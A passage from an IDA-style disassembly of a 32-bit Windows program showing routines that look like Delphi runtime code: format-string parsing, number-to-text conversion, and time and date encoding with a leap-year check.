loc_407728:				; CODE XREF: sub_407700+34j
		cmp	esi, ecx
		jz	short loc_407736
		lodsb
		cmp	al, 25h
		jz	short loc_407740

loc_407732:				; CODE XREF: sub_407700+48j
		stosb
		dec	edx
		jnz	short loc_407728

loc_407736:				; CODE XREF: sub_407700+26j
					; sub_407700+2Aj ...
		mov	eax, edi
		sub	eax, [ebp+var_4]
		jmp	loc_407AE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407740:				; CODE XREF: sub_407700+30j
		cmp	esi, ecx
		jz	short loc_407736
		lodsb
		cmp	al, 25h
		jz	short loc_407732
		lea	ebx, [esi-2]
		mov	[ebp+var_14], ebx

loc_407750:				; CODE XREF: sub_407700+6Fj
		mov	[ebp+var_15], al
		cmp	al, 2Dh
		jnz	short loc_40775D
		cmp	esi, ecx
		jz	short loc_407736
		lodsb

loc_40775D:				; CODE XREF: sub_407700+56j
		call	sub_4077E2
		cmp	al, 3Ah
		jnz	short loc_407771
		mov	[ebp+var_8], ebx
		cmp	esi, ecx
		jz	short loc_407736
		lodsb
		jmp	short loc_407750
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407771:				; CODE XREF: sub_407700+65j
		mov	[ebp+var_1C], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_407788
		cmp	esi, ecx
		jz	short loc_407736
		lodsb
		call	sub_4077E2

loc_407788:				; CODE XREF: sub_407700+7Cj
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], esi
		push	ecx
		push	edx
		call	sub_40782B
		pop	edx
		mov	ebx, [ebp+var_1C]
		sub	ebx, ecx
		jnb	short loc_40779F
		xor	ebx, ebx

loc_40779F:				; CODE XREF: sub_407700+9Bj
		cmp	[ebp+var_15], 2Dh
		jnz	short loc_4077AF
		sub	edx, ecx
		jnb	short loc_4077AD
		add	ecx, edx
		xor	edx, edx

loc_4077AD:				; CODE XREF: sub_407700+A7j
		repe movsb

loc_4077AF:				; CODE XREF: sub_407700+A3j
		xchg	ecx, ebx
		sub	edx, ecx
		jnb	short loc_4077B9
		add	ecx, edx
		xor	edx, edx

loc_4077B9:				; CODE XREF: sub_407700+B3j
		mov	al, 20h
		repe stosb
		xchg	ecx, ebx
		sub	edx, ecx
		jnb	short loc_4077C7
		add	ecx, edx
		xor	edx, edx

loc_4077C7:				; CODE XREF: sub_407700+C1j
		repe movsb
		cmp	[ebp+var_C], 0
		jz	short loc_4077D9
		push	edx
		lea	eax, [ebp+var_C]
		call	sub_4076F4
		pop	edx

loc_4077D9:				; CODE XREF: sub_407700+CDj
		pop	ecx
		mov	esi, [ebp+var_24]
		jmp	loc_407724
sub_407700	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4077E2	proc near		; CODE XREF: sub_407700+5Dp
					; sub_407700+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_40780B

loc_4077E9:				; CODE XREF: sub_4077E2+21j
		cmp	al, 30h
		jb	short locret_40782A
		cmp	al, 39h
		ja	short locret_40782A
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_407805
		lodsb
		jmp	short loc_4077E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407805:				; CODE XREF: sub_4077E2+1Ej
					; sub_4077E2+45j
		pop	eax
		jmp	loc_407736
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40780B:				; CODE XREF: sub_4077E2+5j
		mov	eax, [ebp-8]
		cmp	eax, [ebp+8]
		ja	short loc_407825
		inc	dword ptr [ebp-8]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_407825
		xor	ebx, ebx

loc_407825:				; CODE XREF: sub_4077E2+2Fj
					; sub_4077E2+3Fj
		cmp	esi, ecx
		jz	short loc_407805
		lodsb

locret_40782A:				; CODE XREF: sub_4077E2+Aj
					; sub_4077E2+Fj
		retn
sub_4077E2	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40782B	proc near		; CODE XREF: sub_407700+90p
		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-8]
		cmp	ebx, [ebp+8]
		ja	short loc_407898
		inc	dword ptr [ebp-8]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	ebx, byte ptr [esi+4]
		jmp	ds:off_407852[ebx*4]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_407852	dd offset loc_407946	; DATA XREF: sub_40782B+20r
		dd offset loc_407896
		dd offset loc_4079AD
		dd offset loc_407A6B
		dd offset loc_4079DD
		dd offset loc_407A4D
		dd offset loc_407A2D
		dd offset loc_407896
		dd offset loc_407896
		dd offset loc_407896
		dd offset loc_4079EE
		dd offset loc_407A11
		dd offset loc_407A67
		dd offset loc_4079BC
		dd offset loc_407896
		dd offset loc_4079F5
		dd offset loc_4078AA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407896:				; CODE XREF: sub_40782B+20j
					; sub_40782B+99j ...
		xor	eax, eax

loc_407898:				; CODE XREF: sub_40782B+Fj
		call	sub_407ADD
		mov	edx, [ebp-14h]
		mov	ecx, [ebp-24h]
		sub	ecx, edx
		call	sub_407688

loc_4078AA:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+67o
		lea	ebx, [ebp-30h]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, [eax+4]
		mov	[ebx+4], edx
		cmp	cl, 44h
		jz	short loc_4078CD
		cmp	cl, 55h
		jz	short sub_4078EB
		cmp	cl, 58h
		jnz	short loc_407896
		mov	ecx, 10h
		jmp	short loc_4078F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4078CD:				; CODE XREF: sub_40782B+8Fj
		test	dword ptr [ebx+4], 80000000h
		jz	short sub_4078EB
		neg	dword ptr [ebx]
		adc	dword ptr [ebx+4], 0
		neg	dword ptr [ebx+4]
		call	sub_4078EB
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_40782B	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4078EB	proc near		; CODE XREF: sub_40782B+94j
					; sub_40782B+A9j ...
		mov	ecx, 0Ah

loc_4078F0:				; CODE XREF: sub_40782B+A0j
		lea	esi, [ebp-51h]

loc_4078F3:				; CODE XREF: sub_4078EB+3Cj
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		call	sub_405775
		pop	ecx
		xchg	eax, edx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_40790E
		add	dl, 7

loc_40790E:				; CODE XREF: sub_4078EB+1Ej
		dec	esi
		mov	[esi], dl
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		call	sub_405680
		pop	ecx
		mov	[ebx], eax
		mov	[ebx+4], edx
		or	eax, edx
		jnz	short loc_4078F3
		lea	ecx, [ebp-51h]
		sub	ecx, esi
		mov	edx, [ebp-20h]
		cmp	edx, 10h
		jbe	short loc_407937
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407937:				; CODE XREF: sub_4078EB+49j
		sub	edx, ecx
		jbe	short locret_407945
		add	ecx, edx
		mov	al, 30h

loc_40793F:				; CODE XREF: sub_4078EB+58j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_40793F

locret_407945:				; CODE XREF: sub_4078EB+4Ej
		retn
sub_4078EB	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407946:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+27o
		cmp	cl, 44h
		jz	short loc_407960
		cmp	cl, 55h
		jz	short sub_407972
		cmp	cl, 58h
		jnz	loc_407896
		mov	ecx, 10h
		jmp	short loc_407977
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407960:				; CODE XREF: CODE:00407949j
		or	eax, eax
		jns	short sub_407972
		neg	eax
		call	sub_407972
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407972	proc near		; CODE XREF: CODE:0040794Ej
					; CODE:00407962j ...
		mov	ecx, 0Ah

loc_407977:				; CODE XREF: CODE:0040795Ej
					; CODE:00407A62j
		lea	esi, [ebp-61h]

loc_40797A:				; CODE XREF: sub_407972+1Cj
		xor	edx, edx
		div	ecx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_407989
		add	dl, 7

loc_407989:				; CODE XREF: sub_407972+12j
		dec	esi
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_40797A
		lea	ecx, [ebp-61h]
		sub	ecx, esi
		mov	edx, [ebp-20h]
		cmp	edx, 10h
		jbe	short loc_40799E
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40799E:				; CODE XREF: sub_407972+29j
		sub	edx, ecx
		jbe	short locret_4079AC
		add	ecx, edx
		mov	al, 30h

loc_4079A6:				; CODE XREF: sub_407972+38j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_4079A6

locret_4079AC:				; CODE XREF: sub_407972+2Ej
		retn
sub_407972	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079AD:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+2Fo
		cmp	cl, 53h
		jnz	loc_407896
		mov	ecx, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079BC:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+5Bo
		cmp	cl, 53h
		jnz	loc_407896
		cmp	word ptr [eax],	1
		jbe	short loc_4079DA
		mov	edx, eax
		lea	eax, [ebp-0Ch]
		call	sub_4076E0
		mov	esi, [ebp-0Ch]
		jmp	short loc_407A1C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079DA:				; CODE XREF: CODE:004079C9j
					; CODE:00407A1Ej
		xor	ecx, ecx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079DD:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+37o
		cmp	cl, 53h
		jnz	loc_407896
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_407A23
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079EE:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+4Fo
		mov	esi, offset loc_4036B0
		jmp	short loc_4079FA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4079F5:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+63o
		mov	esi, offset loc_403710

loc_4079FA:				; CODE XREF: CODE:004079F3j
		cmp	cl, 53h
		jnz	loc_407896
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	esi ; loc_403710
		mov	esi, [ebp-10h]
		mov	eax, esi
		jmp	short loc_407A1C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A11:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+53o
		cmp	cl, 53h
		jnz	loc_407896
		mov	esi, eax

loc_407A1C:				; CODE XREF: CODE:004079D8j
					; CODE:00407A0Fj
		or	esi, esi
		jz	short loc_4079DA
		mov	ecx, [esi-4]

loc_407A23:				; CODE XREF: CODE:004079ECj
		cmp	ecx, [ebp-20h]
		ja	short loc_407A29
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A29:				; CODE XREF: CODE:00407A26j
		mov	ecx, [ebp-20h]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A2D:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+3Fo
		cmp	cl, 53h
		jnz	loc_407896
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-20h]
		jecxz	short loc_407A47
		repne scasb
		jnz	short loc_407A47
		dec	edi

loc_407A47:				; CODE XREF: CODE:00407A40j
					; CODE:00407A44j
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A4D:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+3Bo
		cmp	cl, 50h
		jnz	loc_407896
		mov	dword ptr [ebp-20h], 8
		mov	ecx, 10h
		jmp	loc_407977
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A67:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+57o
		mov	bh, 1
		jmp	short loc_407A6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407A6B:				; CODE XREF: sub_40782B+20j
					; DATA XREF: sub_40782B+33o
		mov	bh, 0

loc_407A6D:				; CODE XREF: CODE:00407A69j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_407AB5
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_407AB5
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_407A96
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_407A96
		cmp	cl, 4Dh
		jnz	loc_407896
		mov	bl, 4

loc_407A96:				; CODE XREF: CODE:00407A82j
					; CODE:00407A89j
		mov	eax, 12h
		mov	edx, [ebp-20h]
		cmp	edx, eax
		jbe	short loc_407AC7
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_407AC7
		movzx	edx, ds:byte_41E4F0
		jmp	short loc_407AC7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407AB5:				; CODE XREF: CODE:00407A74j
					; CODE:00407A7Bj
		mov	eax, [ebp-20h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_407AC7
		mov	eax, 0Fh

loc_407AC7:				; CODE XREF: CODE:00407AA0j
					; CODE:00407AAAj ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-71h]
		mov	edx, esi
		movzx	ecx, bh
		call	sub_40A8EE
		mov	ecx, eax
		lea	esi, [ebp-71h]
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407ADD	proc near		; CODE XREF: sub_40782B+6Dp
					; CODE:00407AE8p
		push	eax
		lea	eax, [ebp-10h]
		call	sub_4034C8
		pop	eax
		retn
sub_407ADD	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407AE8:				; CODE XREF: sub_407700+3Bj
		call	sub_407ADD
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407AF8	proc near		; CODE XREF: CODE:004093B9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_407534
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_407700
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_407AF8	endp ; sp = -0Ch


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407B2C	proc near		; CODE XREF: sub_40948C+34p
					; sub_409548+41p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_407B40
		pop	ebp
		retn	4
sub_407B2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407B40	proc near		; CODE XREF: sub_406FEC+19p
					; sub_40701C+21p ...

var_100A	= byte ptr -100Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, 1002h
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edx, ebx
		test	edx, edx
		jns	short loc_407B6D
		add	edx, 3

loc_407B6D:				; CODE XREF: sub_407B40+28j
		sar	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		cmp	eax, ecx
		jge	short loc_407B9C
		mov	eax, [ebp+var_4]
		call	sub_403724
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		lea	eax, [ebp+var_100A]
		call	sub_407700
		jmp	short loc_407BA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407B9C:				; CODE XREF: sub_407B40+36j
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ebx, eax
		mov	eax, ebx

loc_407BA8:				; CODE XREF: sub_407B40+5Aj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jl	short loc_407BF2
		jmp	short loc_407BE1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407BB1:				; CODE XREF: sub_407B40+A6j
		add	ebx, ebx
		mov	eax, esi
		call	sub_4034C8
		mov	eax, esi
		mov	edx, ebx
		call	sub_4039FC
		mov	eax, [ebp+var_4]
		call	sub_403724
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [esi]
		call	sub_407700

loc_407BE1:				; CODE XREF: sub_407B40+6Fj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jge	short loc_407BB1
		mov	edx, esi
		xchg	eax, edx
		call	sub_4039FC
		jmp	short loc_407C00
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407BF2:				; CODE XREF: sub_407B40+6Dj
		lea	edx, [ebp+var_100A]
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_4035B0

loc_407C00:				; CODE XREF: sub_407B40+B0j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407B40	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407C08	proc near		; CODE XREF: sub_407D30+1Cp
					; sub_407F04+1Dp ...

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, eax
		fld	[ebp+arg_0]
		fmul	ds:flt_41C154
		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		or	edx, edx
		jns	short loc_407C34
		neg	edx
		neg	eax
		sbb	edx, 0
		div	ds:dword_41C158
		neg	eax
		jmp	short loc_407C3A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407C34:				; CODE XREF: sub_407C08+19j
		div	ds:dword_41C158

loc_407C3A:				; CODE XREF: sub_407C08+2Aj
		add	eax, 0A955Ah
		mov	[ecx], edx
		mov	[ecx+4], eax
		pop	ebp
		retn	8
sub_407C08	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407C48	proc near		; CODE XREF: sub_407CB8+31p

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 0
		cmp	ax, 18h
		jnb	short loc_407CA9
		cmp	dx, 3Ch
		jnb	short loc_407CA9
		cmp	cx, 3Ch
		jnb	short loc_407CA9
		cmp	si, 3E8h
		jnb	short loc_407CA9
		movzx	eax, ax
		imul	eax, 36EE80h
		movzx	edx, dx
		imul	edx, 0EA60h
		add	eax, edx
		movzx	edx, cx
		imul	edx, 3E8h
		add	eax, edx
		movzx	edx, si
		add	eax, edx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fdiv	ds:flt_407CB4
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_1], 1

loc_407CA9:				; CODE XREF: sub_407C48+12j
					; sub_407C48+18j ...
		mov	al, [ebp+var_1]
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_407C48	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
flt_407CB4	dd 8.64e7		; DATA XREF: sub_407C48+51r

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407CB8	proc near		; CODE XREF: sub_408090+3Bp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_407D1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_407C48
		test	al, al
		jnz	short loc_407D07
		lea	edx, [ebp+var_C]
		mov	eax, ds:off_41DBA8
		call	sub_404B80
		mov	eax, [ebp+var_C]
		call	sub_406CBC

loc_407D07:				; CODE XREF: sub_407CB8+38j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_407D24

loc_407D14:				; CODE XREF: CODE:00407D22j
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		retn
sub_407CB8	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407D1D:				; DATA XREF: sub_407CB8+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_407D14
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407D24:				; DATA XREF: sub_407CB8+57o
		fld	qword ptr [ebp-8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407D30	proc near		; CODE XREF: sub_4081F4+31p

var_C		= dword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_C]
		call	sub_407C08
		mov	eax, [ebp+var_C]
		lea	ecx, [ebp+var_2]
		mov	dx, 0EA60h
		call	sub_406CA0
		push	esi
		mov	ecx, ebx
		movzx	eax, [ebp+var_2]
		mov	dx, 3Ch
		call	sub_406CA0
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		movzx	eax, [ebp+var_4]
		mov	dx, 3E8h
		call	sub_406CA0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_407D30	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_407D8C	proc near		; CODE XREF: sub_407DC8+19p
					; sub_407F04+EBp
		push	ebx
		push	esi
		mov	ecx, eax
		movzx	eax, cx
		and	eax, 3
		test	eax, eax
		jnz	short loc_407DBB
		movzx	ebx, cx
		mov	eax, ebx
		mov	esi, 64h
		xor	edx, edx
		div	esi
		test	edx, edx
		jnz	short loc_407DC0
		mov	eax, ebx
		mov	ecx, 190h
		xor	edx, edx
		div	ecx
		test	edx, edx
		jz	short loc_407DC0

loc_407DBB:				; CODE XREF: sub_407D8C+Cj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_407DC0:				; CODE XREF: sub_407D8C+1Ej
					; sub_407D8C+2Dj
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_407D8C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407DC8	proc near		; CODE XREF: sub_407E90+2Cp

var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 0
		mov	ax, [ebp+var_2]
		call	sub_407D8C
		and	eax, 7Fh
		lea	eax, [eax+eax*2]
		lea	esi, unk_41C0D4[eax*8]
		cmp	[ebp+var_2], 1
		jb	loc_407E84
		cmp	[ebp+var_2], 270Fh
		ja	short loc_407E84
		cmp	di, 1
		jb	short loc_407E84
		cmp	di, 0Ch
		ja	short loc_407E84
		cmp	bx, 1
		jb	short loc_407E84
		movzx	eax, di
		cmp	bx, [esi+eax*2-2]
		ja	short loc_407E84
		movzx	eax, di
		dec	eax
		test	eax, eax
		jle	short loc_407E38
		mov	ecx, 1

loc_407E2F:				; CODE XREF: sub_407DC8+6Ej
		add	bx, [esi+ecx*2-2]
		inc	ecx
		dec	eax
		jnz	short loc_407E2F

loc_407E38:				; CODE XREF: sub_407DC8+60j
		movzx	ecx, [ebp+var_2]
		dec	ecx
		mov	eax, ecx
		mov	esi, 64h
		cdq
		idiv	esi
		imul	esi, ecx, 16Dh
		mov	edx, ecx
		test	edx, edx
		jns	short loc_407E56
		add	edx, 3

loc_407E56:				; CODE XREF: sub_407DC8+89j
		sar	edx, 2
		add	esi, edx
		sub	esi, eax
		mov	eax, ecx
		mov	ecx, 190h
		cdq
		idiv	ecx
		add	esi, eax
		movzx	eax, bx
		add	esi, eax
		sub	esi, 0A955Ah
		mov	[ebp+var_8], esi
		fild	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_3], 1

loc_407E84:				; CODE XREF: sub_407DC8+30j
					; sub_407DC8+3Cj ...
		mov	al, [ebp+var_3]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_407DC8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_407E90	proc near		; CODE XREF: sub_408090+1Cp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_407EF0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_407DC8
		test	al, al
		jnz	short loc_407EDA
		lea	edx, [ebp+var_C]
